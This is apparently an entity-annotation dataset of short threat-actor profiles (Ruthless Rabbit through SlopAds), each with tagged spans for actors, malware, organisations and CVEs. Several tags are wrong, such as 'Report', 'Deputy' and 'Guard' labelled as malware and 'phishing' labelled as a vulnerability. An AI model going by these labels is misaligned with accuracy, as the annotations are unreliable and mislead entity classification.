+{"text": "Ruthless Rabbit has been running investment scam campaigns since November 2022, primarily targeting users in Russia, Poland, Romania, and Kazakhstan. The actor utilizes RDGA patterns to create over 2,600 domains, hosted on multiple dedicated IPs, and employs a cloaking service for validation checks on user leads. Their campaigns have included themes such as Baltic Pipe financial scams and spoofing well-known platforms like WhatsApp and Google Finance. The most prevalent campaign theme involves a spoofed news article from \"Channel One\" promoting the \"GazInvest\" platform with promises of high returns.", "spans": {"THREAT_ACTOR: Ruthless Rabbit": [[0, 15]], "SYSTEM: WhatsApp": [[427, 435]], "ORGANIZATION: Google": [[440, 446]]}, "info": {"source": "apt_reports", "name": "Ruthless Rabbit"}}
+{"text": "Saad Tycoon is the operator and alleged developer of the Tycoon 2FA PhaaS, a phishing service that targets users for financial gain. The actor utilizes Bitcoin transactions to generate significant profits from the fraudulent service. The phishing infrastructure includes domain registration, server hosting, and possibly Cloudflare protection.", "spans": {"THREAT_ACTOR: Saad Tycoon": [[0, 11]], "ORGANIZATION: Cloudflare": [[321, 331]], "VULNERABILITY: phishing": [[77, 85], [238, 246]], "MALWARE: Tycoon": [[5, 11], [57, 63]]}, "info": {"source": "apt_reports", "name": "Saad Tycoon"}}
+{"text": "A group targeting UA state organizations using the GraphSteel and GrimPlant malware.", "spans": {"MALWARE: GraphSteel": [[51, 61]], "MALWARE: GrimPlant": [[66, 75]]}, "info": {"source": "apt_reports", "name": "SaintBear"}}
+{"text": "Beginning in January 2018 and persisting through the first half of the year, CrowdStrike Intelligence observed SALTY SPIDER, developer and operator of the long-running Sality botnet, distribute malware designed to target cryptocurrency users.", "spans": {"THREAT_ACTOR: SALTY SPIDER": [[111, 123]], "ORGANIZATION: CrowdStrike": [[77, 88]], "MALWARE: Sality": [[168, 174]]}, "info": {"source": "apt_reports", "name": "SALTY SPIDER"}}
+{"text": "SAMBASPIDER is a threat actor associated to the Mispadu malware. On July 24, USDoD allegedly scraped and leaked a 100,000-line Indicator of Compromise list from CrowdStrike, revealing detailed threat intelligence data. The leak, posted on Breach Forums, includes critical insights into the Mispadu malware and SAMBASPIDER threat actor.", "spans": {"THREAT_ACTOR: SAMBASPIDER": [[0, 11], [310, 321]], "THREAT_ACTOR: USDoD": [[77, 82]], "ORGANIZATION: CrowdStrike": [[161, 172]], "MALWARE: Mispadu": [[48, 55], [290, 297]]}, "info": {"source": "apt_reports", "name": "SAMBASPIDER"}}
+{"text": "SandCat, on the other hand, is a group that was discovered more recently by Kaspersky. One of the Windows vulnerabilities patched by Microsoft in December had been exploited by both FruityArmor and SandCat in attacks targeting the Middle East and Africa.  SandCat has been using FinFisher/FinSpy spyware and CHAINSHOT, a piece of malware analyzed earlier this year by Palo Alto Networks. The group has also used the CVE-2018-8589 and CVE-2018-8611 Windows vulnerabilities in its attacks, both of which had a zero-day status when Microsoft released fixes.", "spans": {"CVE_ID: CVE-2018-8589": [[416, 429]], "CVE_ID: CVE-2018-8611": [[434, 447]], "THREAT_ACTOR: SandCat": [[0, 7], [198, 205], [256, 263]], "SYSTEM: Kaspersky": [[76, 85]], "SYSTEM: Palo Alto": [[368, 377]], "SYSTEM: Windows": [[98, 105], [448, 455]], "ORGANIZATION: Microsoft": [[133, 142], [529, 538]], "ORGANIZATION: Palo Alto Networks": [[368, 386]], "VULNERABILITY: zero-day": [[508, 516]], "MALWARE: FinSpy": [[289, 295]], "MALWARE: FinFisher": [[279, 288]]}, "info": {"source": "apt_reports", "name": "SandCat"}}
+{"text": "First disclosed in 2023, the Sandman APT is likely associated with suspected China-based threat clusters known for using the KEYPLUG backdoor, specifically STORM-0866/Red Dev 40. Sandman is tracked as a distinct cluster, pending additional conclusive information. A notable characteristic is its use of the LuaDream backdoor. LuaDream is based on the Lua platform, a relatively rare occurrence in the cyberespionage domain, historically associated with APTs considered Western or Western-aligned.", "spans": {"THREAT_ACTOR: Sandman APT": [[29, 40]], "MALWARE: KEYPLUG": [[125, 132]]}, "info": {"source": "apt_reports", "name": "Sandman APT"}}
+{"text": "This threat actor targets industrial control systems, using a tool called Black Energy, associated with electricity and power generation for espionage, denial of service, and data destruction purposes. Some believe that the threat actor is linked to the 2015 compromise of the Ukrainian electrical grid and a distributed denial of service prior to the Russian invasion of Georgia. Believed to be responsible for the 2008 DDoS attacks in Georgia and the 2015 Ukraine power grid outage", "spans": {"VULNERABILITY: DDoS": [[421, 425]], "VULNERABILITY: denial of service": [[152, 169], [321, 338]]}, "info": {"source": "apt_reports", "name": "Sandworm"}}
+{"text": "A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.", "spans": {"THREAT_ACTOR: Sath-ı Müdafaa": [[25, 39]], "VULNERABILITY: DDoS": [[80, 84], [185, 189], [246, 250]]}, "info": {"source": "apt_reports", "name": "Sath-ı Müdafaa"}}
+{"text": "ScamClub is a threat actor involved in malvertising activities since 2018. They target the Mobile Web market segment, particularly on iOS devices, where security software is often lacking. ScamClub utilizes obfuscation techniques and real-time bidding integration with ad exchanges to push malicious JavaScript payloads, leading to forced redirects and various scams such as phishing and gift card scams.", "spans": {"THREAT_ACTOR: ScamClub": [[0, 8], [189, 197]], "SYSTEM: iOS": [[134, 137]], "VULNERABILITY: phishing": [[375, 383]]}, "info": {"source": "apt_reports", "name": "ScamClub"}}
+{"text": "Scarab APT was first spotted in 2015, but is believed to have been active since at least 2012, conducting surgical attacks against a small number of individuals across the world, including Russia and the United States. The backdoor deployed by Scarab in their campaigns is most commonly known as Scieron.", "spans": {"THREAT_ACTOR: Scarab": [[0, 6], [244, 250]], "MALWARE: Scieron": [[296, 303]]}, "info": {"source": "apt_reports", "name": "Scarab"}}
+{"text": "SCARLETEEL is a threat actor that primarily targets cloud environments, specifically AWS and Kubernetes. They have been observed stealing proprietary data and intellectual property, as well as conducting cryptomining operations. SCARLETEEL employs sophisticated tactics and tools to bypass security measures and gain unauthorized access to accounts, often exploiting vulnerabilities in containerized workloads and misconfigurations in AWS policies.", "spans": {"THREAT_ACTOR: SCARLETEEL": [[0, 10], [229, 239]], "SYSTEM: AWS": [[85, 88], [435, 438]], "SYSTEM: Kubernetes": [[93, 103]]}, "info": {"source": "apt_reports", "name": "SCARLETEEL"}}
+{"text": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group’s motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same.\nThe attacks began over four years ago and their targeting pattern suggests that this adversary’s primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an assessment that a group or groups with motivations similar to the stated position of the Chinese government in relation to these targets is involved.\nThe attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes. Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also have history of strained relationships with the government of the People’s Republic of China (PRC), though we do not have evidence that links Scarlet Mimic attacks to the PRC.\nScarlet Mimic attacks have also been identified against government organizations in Russia and India, who are responsible for tracking activist and terrorist activities. While we do not know the precise target of each of the Scarlet Mimic attacks, many of them align to the patterns described above.", "spans": {"THREAT_ACTOR: Scarlet Mimic": [[0, 13], [282, 295], [867, 880], [1319, 1332], [1353, 1366], [1578, 1591]], "MALWARE: Putter Panda": [[300, 312]]}, "info": {"source": "apt_reports", "name": "Scarlet Mimic"}}
+{"text": "Scarred Manticore has been pursuing high-value targets for years, utilizing a variety of IIS-based backdoors to attack Windows servers. These include a variety of custom web shells, custom DLL backdoors, and driver-based implants.", "spans": {"THREAT_ACTOR: Scarred Manticore": [[0, 17]], "SYSTEM: IIS": [[89, 92]], "SYSTEM: Windows": [[119, 126]]}, "info": {"source": "apt_reports", "name": "Scarred Manticore"}}
+{"text": "When the first member of Scattered Canary, who, for the purposes of this report, we call\nAlpha, began his operations, he was a lone wolf—working mostly Craigslist scams as he learned\nthe tricks of the trade from a mentor. However, within a few years, he had honed his craft\nenough to expand into romance scams, where he met his first “employee,” Beta. Once they\nhad secured enough mules via their romance scams to launder their stolen money, they shifted\nfrom targeting individuals to targeting enterprises, and the group’s BEC operation was born.", "spans": {"THREAT_ACTOR: Scattered Canary": [[25, 41]], "TOOL: expand": [[284, 290]]}, "info": {"source": "apt_reports", "name": "Scattered Canary"}}
+{"text": "Scattered Spider, a highly active hacking group, has made headlines by targeting more than 130 organizations, with the number of victims steadily increasing.", "spans": {"THREAT_ACTOR: Scattered Spider": [[0, 16]]}, "info": {"source": "apt_reports", "name": "Scattered Spider"}}
+{"text": "ScreamedJungle is a threat actor that exploits vulnerabilities in outdated Magento e-commerce platforms to inject malicious JavaScript code, specifically Bablosoft JS, into compromised websites. This actor has harvested millions of browser fingerprints by leveraging vulnerabilities such as CVE-2024-34102 and CVE-2024-20720. ScreamedJungle utilizes PerfectCanvas technology to ensure pixel-perfect replication of legitimate user fingerprints. Group-IB analysts estimate that over 115 e-commerce sites have been impacted by this fingerprint theft campaign.", "spans": {"CVE_ID: CVE-2024-34102": [[291, 305]], "CVE_ID: CVE-2024-20720": [[310, 324]], "THREAT_ACTOR: ScreamedJungle": [[0, 14], [326, 340]], "SYSTEM: Magento": [[75, 82]], "ORGANIZATION: Group-IB": [[444, 452]]}, "info": {"source": "apt_reports", "name": "ScreamedJungle"}}
+{"text": "Scripted Sparrow is a prolific Business Email Compromise (BEC) collective that conducts highly targeted phishing campaigns, impersonating professional services firms to deceive finance teams into transferring funds. The group employs a disciplined approach, utilizing consistent language and familiar tones in their communications, while sending between 10,000 and 50,000 emails daily in small batches. They have developed a sophisticated understanding of corporate communication, crafting messages that mimic internal formats and urgency without raising suspicion. Scripted Sparrow relies on a network of US-based mule accounts, with 249 unique bank accounts identified across 42 financial institutions for cash-out operations.", "spans": {"THREAT_ACTOR: Scripted Sparrow": [[0, 16], [566, 582]], "VULNERABILITY: phishing": [[104, 112]]}, "info": {"source": "apt_reports", "name": "Scripted Sparrow"}}
+{"text": "Mentioned as operator of DanaBot in CrowdStrike's 2020 Report.", "spans": {"ORGANIZATION: CrowdStrike": [[36, 47]], "MALWARE: DanaBot": [[25, 32]], "MALWARE: Report": [[55, 61]]}, "info": {"source": "apt_reports", "name": "SCULLY SPIDER"}}
+{"text": "This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.", "spans": {}, "info": {"source": "apt_reports", "name": "Sea Turtle"}}
+{"text": "SEXi is a ransomware group that targets VMware ESXi servers, encrypting data and demanding ransom payments. They have been observed encrypting virtual machines and backups, causing significant disruptions to services. The group's name is a play on the word \"ESXi,\" indicating a deliberate focus on these systems. SEXi has been linked to other ransomware variants based on the Babuk source code.", "spans": {"THREAT_ACTOR: SEXi": [[0, 4], [313, 317]], "SYSTEM: VMware": [[40, 46]], "SYSTEM: ESXi": [[47, 51], [258, 262]], "MALWARE: Babuk": [[376, 381]]}, "info": {"source": "apt_reports", "name": "SEXi"}}
+{"text": "SHADOW-AETHER-015 is a highly adaptable cybercriminal group known for identity abuse and cloud compromise, primarily targeting identity and access management systems like Okta and Azure AD/Entra ID. They employ sophisticated social engineering techniques, including vishing and help-desk impersonation, to gain access to legitimate credentials. Their operations involve multi-pressure extortion tactics, such as data theft, ransomware, and employee intimidation, while leveraging MFA fatigue and token theft to bypass authentication controls. The group has been linked to the \"0ktapus\" phishing campaign and is most active in English-speaking countries, with a focus on sectors rich in sensitive data.", "spans": {"THREAT_ACTOR: SHADOW-AETHER-015": [[0, 17]], "SYSTEM: Entra ID": [[189, 197]], "SYSTEM: Azure": [[180, 185]], "SYSTEM: Azure AD": [[180, 188]], "ORGANIZATION: Okta": [[171, 175]], "VULNERABILITY: phishing": [[586, 594]]}, "info": {"source": "apt_reports", "name": "SHADOW-AETHER-015"}}
+{"text": "SHADOW-VOID-042 is a provisional intrusion set tracked by Trend Micro, active in October-November 2025, conducting spear-phishing campaigns against energy, defense, pharmaceutical, cybersecurity, and other sectors using lures like HR complaints, research surveys, and fake Trend Micro security updates urging browser fixes. Attacks employ multi-stage loaders: shellcode generates machine-specific IDs for C2 \"get_module_hello\" requests fetching encrypted Stage 2 (SystemProcessHost.exe) with scheduled tasks for persistence, followed by Stage 3 fetching additional payloads via API hashing and retries on hardcoded C2s. Infrastructure overlaps with Void Rabisu (ROMCOM/Storm-0978), but lacks confirmed ROMCOM deployment or Ukraine focus, warranting separate tracking.", "spans": {"THREAT_ACTOR: SHADOW-VOID-042": [[0, 15]], "THREAT_ACTOR: Void Rabisu": [[649, 660]], "SYSTEM: Trend Micro": [[58, 69], [273, 284]], "VULNERABILITY: spear-phishing": [[115, 129]], "VULNERABILITY: phishing": [[121, 129]], "MALWARE: Void": [[649, 653]]}, "info": {"source": "apt_reports", "name": "SHADOW-VOID-042"}}
+{"text": "ShadowSyndicate is a threat actor associated with various ransomware groups, using a consistent Secure Shell fingerprint across multiple servers. They have been linked to ransomware families such as Quantum, Nokoyawa, and ALPHV. ShadowSyndicate's infrastructure overlaps with that of Cl0p, suggesting potential connections between the two groups. Their activities indicate they may be a Ransomware-as-a-Service affiliate.", "spans": {"THREAT_ACTOR: ShadowSyndicate": [[0, 15], [229, 244]], "MALWARE: Cl0p": [[284, 288]], "MALWARE: ALPHV": [[222, 227]]}, "info": {"source": "apt_reports", "name": "ShadowSyndicate"}}
+{"text": "Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows’ attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People’s Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.", "spans": {"ORGANIZATION: Citizen Lab": [[1396, 1407]]}, "info": {"source": "apt_reports", "name": "Shadow Network"}}
+{"text": "ShadyPanda is a threat actor behind a 7-year campaign that has infected 4.3 million users through extensions masquerading as productivity tools while functioning as comprehensive spyware. Their tactics include data exfiltration, user surveillance, and systematic collection of corporate meeting intelligence from over 28 video conferencing platforms. Notably, the WeTab extension exemplifies their capabilities, collecting full browsing history and personal data, exfiltrating to 17 different domains. The actor employs steganography to hide malicious code within PNG files and maintains persistent access through shared infrastructure across their extensions.", "spans": {"THREAT_ACTOR: ShadyPanda": [[0, 10]]}, "info": {"source": "apt_reports", "name": "ShadyPanda"}}
+{"text": "ShaggyPanther is a threat actor that primarily targets government entities in Taiwan and Malaysia. They have been active since 2008 and utilize hidden encrypted payloads in registry keys. Their activities have been detected in various locations, including Indonesia and Syria.", "spans": {"THREAT_ACTOR: ShaggyPanther": [[0, 13]]}, "info": {"source": "apt_reports", "name": "ShaggyPanther"}}
+{"text": "Shahid Hemmat is an IRGC-CEC affiliated hacking group linked to cyberattacks targeting U.S. critical infrastructure, including the defense industry and international transportation sectors. The group has been implicated in the hack of a booster station at the Municipal Water Authority in Aliquippa, Pennsylvania, which disrupted drinking water supply. Key figures within Shahid Hemmat include Manouchehr Akbari, Amir Hossein Hoseini, Mohammad Hossein Moradi, and Mohammad Reza Rafatnejad. The U.S. government is offering a $10 million reward for information on these individuals.", "spans": {"THREAT_ACTOR: Shahid Hemmat": [[0, 13], [372, 385]]}, "info": {"source": "apt_reports", "name": "Shahid Hemmat"}}
+{"text": "Shamoon Group is an Iran-linked threat actor associated with destructive Shamoon wiper operations targeting organizations in the Middle East, especially in the energy sector.", "spans": {"THREAT_ACTOR: Shamoon Group": [[0, 13]], "MALWARE: Shamoon": [[0, 7], [73, 80]]}, "info": {"source": "apt_reports", "name": "Shamoon Group"}}
+{"text": "This group's activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.", "spans": {}, "info": {"source": "apt_reports", "name": "SHARK SPIDER"}}
+{"text": "SharpPanda, an APT group originating from China, has seen a rise in its cyber-attack operations starting from at least 2018. The APT group utilizes spear-phishing techniques to obtain initial access, employing a combination of outdated Microsoft Office document vulnerabilities, novel evasion techniques, and highly potent backdoor malware.", "spans": {"THREAT_ACTOR: SharpPanda": [[0, 10]], "SYSTEM: Microsoft Office": [[236, 252]], "ORGANIZATION: Microsoft": [[236, 245]], "VULNERABILITY: spear-phishing": [[148, 162]], "VULNERABILITY: phishing": [[154, 162]]}, "info": {"source": "apt_reports", "name": "SharpPanda"}}
+{"text": "ShinyHunters is a cybercriminal group of unknown origin that is motivated by financial gain. The group is known for its sophisticated attacks against a wide range of targets, including businesses, organizations, and government agencies. ShinyHunters typically uses phishing attacks and exploit kits to gain access to victim networks, where they deploy malware to steal sensitive data, such as names, addresses, phone numbers, Social Security numbers, and credit card information.", "spans": {"THREAT_ACTOR: ShinyHunters": [[0, 12], [237, 249]], "VULNERABILITY: phishing": [[265, 273]]}, "info": {"source": "apt_reports", "name": "ShinyHunters"}}
+{"text": "In September 2023, Cisco Talos identified a new malware family that it calls ‘HTTPSnoop’ being deployed against telecommunications providers in the Middle East. They also discovered a sister implant to 'HTTPSnoop,’ that they are naming ‘PipeSnoop,’ which can accept arbitrary shellcode from a named pipe and execute it on the infected endpoint. Based on these findings, the researchers assess with high confidence that both implants belong to a new intrusion set that it named ‘ShroudedSnooper.’", "spans": {"THREAT_ACTOR: ShroudedSnooper": [[478, 493]], "SYSTEM: Cisco": [[19, 24]], "ORGANIZATION: Cisco Talos": [[19, 30]], "ORGANIZATION: Talos": [[25, 30]], "MALWARE: PipeSnoop": [[237, 246]], "MALWARE: HTTPSnoop": [[78, 87], [203, 212]]}, "info": {"source": "apt_reports", "name": "ShroudedSnooper"}}
+{"text": "The SideCopy APT is a Pakistani threat actor that has been operating since at least 2019, mainly targeting South Asian countries and more specifically India and Afghanistan. Its name comes from its infection chain that tries to mimic that of the SideWinder APT. It has been reported that this actor has similarities with Transparent Tribe (APT36) and possibly is a subdivision of this actor. Cisco Talos and Seqrite have provided comprehensive reports on this actor’s activities.", "spans": {"THREAT_ACTOR: SideCopy": [[4, 12]], "SYSTEM: Cisco": [[392, 397]], "ORGANIZATION: Cisco Talos": [[392, 403]], "ORGANIZATION: Talos": [[398, 403]], "MALWARE: Transparent Tribe": [[321, 338]], "MALWARE: SideWinder": [[246, 256]]}, "info": {"source": "apt_reports", "name": "SideCopy"}}
+{"text": "SiegedSec, a hacktivist collective, emerged coincidentally just days before Russia’s invasion of Ukraine. Under the leadership of the hacktivist known as “YourAnonWolf,” the group swiftly gained strength, announcing an increasing number of victims after its inception. The group humorously self-identifies as “gay furry hackers” and is renowned for its comical slogans and the use of vulgar language. SiegedSec has affiliations with other hacker groups like GhostSec and typically consists of members aged between 18 and 26.", "spans": {"THREAT_ACTOR: SiegedSec": [[0, 9], [401, 410]], "THREAT_ACTOR: GhostSec": [[458, 466]]}, "info": {"source": "apt_reports", "name": "SiegedSec"}}
+{"text": "FireEye recently looked deeper into the activity discussed in TrendMicro’s blog and dubbed the “Siesta” campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1.\nThe Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators and for shared attributes that allow security experts to detect multiple actors with one signature.", "spans": {"THREAT_ACTOR: Siesta": [[96, 102], [361, 367]], "THREAT_ACTOR: APT1": [[248, 252], [351, 355]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "Siesta"}}
+{"text": "a relatively new threat actor that’s been operating since mid-2016\nGroup-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks, Group-IB experts also have discovered evidence of the group's activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts' hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD.\nSilence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services.", "spans": {"ORGANIZATION: Group-IB": [[67, 75], [196, 204], [304, 312], [395, 403]], "VULNERABILITY: phishing": [[851, 859]], "MALWARE: Silence": [[113, 120], [386, 393], [573, 580], [619, 626], [963, 970]]}, "info": {"source": "apt_reports", "name": "Silence group"}}
+{"text": "Andariel is a threat actor that primarily targets South Korean corporations and institutions. They are believed to collaborate with or operate as a subsidiary organization of the Lazarus threat group. WHOIS utilizes spear phishing attacks, watering hole attacks, and supply chain attacks for initial access. They have been known to exploit vulnerabilities and use malware such as Infostealer and TigerRAT.", "spans": {"VULNERABILITY: watering hole": [[240, 253]], "VULNERABILITY: phishing": [[222, 230]], "VULNERABILITY: spear phishing": [[216, 230]], "MALWARE: Andariel": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Silent Chollima"}}
+{"text": "Last Friday, Deputy Attorney General Rod Rosenstein announced the indictment of nine Iranians who worked for an organization named the Mabna Institute. According to prosecutors, the defendants stole more than 31 terabytes of data from universities, companies, and government agencies around the world. The cost to the universities alone reportedly amounted to approximately $3.4 billion. The information stolen from these universities was used by the Islamic Revolutionary Guard Corps (IRGC) or sold for profit inside Iran. PhishLabs has been tracking this same threat group since late-2017, designating them Silent Librarian. Since discovery, we have been working with the FBI, ISAC partners, and other international law enforcement agencies to help understand and mitigate these attacks.", "spans": {"THREAT_ACTOR: Silent Librarian": [[609, 625]], "ORGANIZATION: PhishLabs": [[524, 533]], "ORGANIZATION: FBI": [[674, 677]], "MALWARE: Guard": [[473, 478]], "MALWARE: Deputy": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Silent Librarian"}}
+{"text": "SilitNetwork is a hacking group known for targeting high-profile entities, such as airlines, for various motives. They utilize sophisticated tactics to breach their targets, potentially including social engineering and exploiting software vulnerabilities. The group's attack on RwandAir highlighted the vulnerability of the aviation industry and the need for robust cybersecurity measures.", "spans": {"THREAT_ACTOR: SilitNetwork": [[0, 12]]}, "info": {"source": "apt_reports", "name": "SilitNetwork"}}
+{"text": "SILKFIN AGENCY has claimed responsibility for multiple significant data breaches, including the compromise of DimeCuba.com, which exposed over 1 million SMS records and more than 100,000 email records. They also targeted the Sri Lankan Department of Agrarian Development, allegedly compromising the personal and agricultural data of over 1.45 million farmers. Additionally, they claimed a breach of the Siam Cement Group's database. The breaches involved sensitive data such as NIC numbers and transaction details.", "spans": {"DOMAIN: DimeCuba.com": [[110, 122]], "THREAT_ACTOR: SILKFIN AGENCY": [[0, 14]]}, "info": {"source": "apt_reports", "name": "SILKFIN AGENCY"}}
+{"text": "SilkSpecter is a Chinese financially motivated threat actor that orchestrates phishing campaigns targeting e-commerce shoppers, particularly during peak shopping seasons. They exploit legitimate payment processors like Stripe to exfiltrate Cardholder Data and Personally Identifiable Information through convincing fake e-commerce sites created using the oemapps SaaS platform. Their phishing infrastructure relies on Chinese-hosted CDN servers and utilizes deceptive elements such as the \"trusttollsvg\" icon and a \"/homeapi/collect\" endpoint to track victim interactions. Analysts have linked SilkSpecter to over 89 IP addresses and more than 4,000 domain names associated with phishing activities, predominantly using .top, .shop, .store, and .vip TLDs.", "spans": {"THREAT_ACTOR: SilkSpecter": [[0, 11], [594, 605]], "VULNERABILITY: phishing": [[78, 86], [384, 392], [679, 687]]}, "info": {"source": "apt_reports", "name": "SilkSpecter"}}
+{"text": "SilverFish is believed to be a Russian cyberespionage group that has been involved in various cyberattacks, including the use of the SolarWinds breach as an attack vector. SilverFish has been linked to the Wasted Locker ransomware and has displayed a high level of skill and organization in their cyber operations. There are also connections between SilverFish and the threat actor Evil Corp, suggesting a possible evolution or collaboration between the two groups.", "spans": {"THREAT_ACTOR: SilverFish": [[0, 10], [172, 182], [350, 360]], "THREAT_ACTOR: Evil Corp": [[382, 391]], "SYSTEM: SolarWinds": [[133, 143]]}, "info": {"source": "apt_reports", "name": "SilverFish"}}
+{"text": "As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.", "spans": {"THREAT_ACTOR: SilverTerrier": [[116, 129]]}, "info": {"source": "apt_reports", "name": "SilverTerrier"}}
+{"text": "Sima is a group of suspected Iranian origin targeting Iranians in diaspora.\nIn February 2016, Iran-focused individuals received messages purporting to be from Human RightsWatch's (HRW) Emergencies Director, requesting that they read an article about Iran pressing Afghanr efugees to fight in Syria. While referencing a real report published by HRW, the links provided for the Director’s biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address to how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms, are a refinement compared to a tendency amongst other groups to simply continually send different forms of generic malware or phishing, in the hopes that one would eventually be successful.", "spans": {"THREAT_ACTOR: Sima": [[0, 4]], "VULNERABILITY: spear-phishing": [[467, 481]], "VULNERABILITY: phishing": [[473, 481], [1664, 1672]]}, "info": {"source": "apt_reports", "name": "Sima"}}
+{"text": "SingularityMD is a threat actor group that has targeted educational institutions in the US. They gained unauthorized access to their networks by exploiting weak security practices, such as using students' dates of birth as passwords. SingularityMD demanded a ransom in cryptocurrency and threatened to leak stolen information if not paid. They have demonstrated a willingness to follow through on their threats and have already leaked some data.", "spans": {"THREAT_ACTOR: SingularityMD": [[0, 13], [234, 247]]}, "info": {"source": "apt_reports", "name": "SingularityMD"}}
+{"text": "Sinobi is a financially motivated ransomware group that employs data theft and extortion as primary tactics, operating a public-facing leak portal to pressure victims during ransom negotiations. The group utilizes techniques such as phishing, credential compromise, and exploitation of unpatched vulnerabilities for initial access, followed by data exfiltration using tools like RClone. Sinobi ransomware employs Curve-25519 and AES-128-CTR for file encryption, making recovery impossible without the attacker's private key. The group has been linked to significant breaches across various sectors, including automotive, legal, and nonprofit organizations.", "spans": {"THREAT_ACTOR: Sinobi": [[0, 6], [387, 393]], "VULNERABILITY: phishing": [[233, 241]]}, "info": {"source": "apt_reports", "name": "Sinobi"}}
+{"text": "SkidSec is a threat group that has engaged in operations targeting exposed printers in South Korea to disseminate North Korean propaganda, utilizing techniques such as printer exploitation and social engineering for evidence collection. The group has also experienced a leadership change following the loss of their leader, Govadmin, while continuing to mobilize their followers for various missions. They have humorously solicited financial support for their activities, framing it as a means to support their cause. Additionally, they have been noted for their potential to leak sensitive information from compromised devices.", "spans": {"THREAT_ACTOR: SkidSec": [[0, 7]]}, "info": {"source": "apt_reports", "name": "SkidSec"}}
+{"text": "While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity.\nWhile for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router.\nWe believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).", "spans": {"THREAT_ACTOR: Slingshot": [[256, 265], [424, 433]], "SYSTEM: MikroTik": [[520, 528], [612, 620]], "VULNERABILITY: keylogger": [[55, 64]], "MALWARE: Regin": [[355, 360]]}, "info": {"source": "apt_reports", "name": "Slingshot"}}
+{"text": "SlopAds is a sophisticated ad fraud and click fraud operation involving a collection of 224 apps, downloaded over 38 million times globally. The threat actors utilize steganography, hidden WebViews, and a mobile marketing attribution platform to execute their fraud schemes, which include generating fraudulent ad impressions and clicks. Their infrastructure comprises multiple C2 servers and over 300 related domains, indicating plans for expansion. The operation has been linked to 2.3 billion bid requests per day, with significant traffic originating from the United States, India, and Brazil.", "spans": {"THREAT_ACTOR: SlopAds": [[0, 7]]}, "info": {"source": "apt_reports", "name": "SlopAds"}}
